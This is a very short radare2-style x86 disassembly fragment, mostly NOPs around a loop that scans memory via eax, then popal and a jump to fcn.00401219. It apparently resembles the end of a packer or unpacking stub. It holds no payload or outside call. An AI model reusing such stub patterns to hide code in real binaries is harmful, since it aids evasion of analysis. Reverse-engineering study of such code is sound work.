nop
nop
nop
nop
add eax, 0xc
nop
nop
nop
nop
cmp dword [eax], 0
nop
nop
nop
nop
nop
nop
jne 0x42e01e
nop
nop
nop
nop
popal
nop
jmp fcn.00401219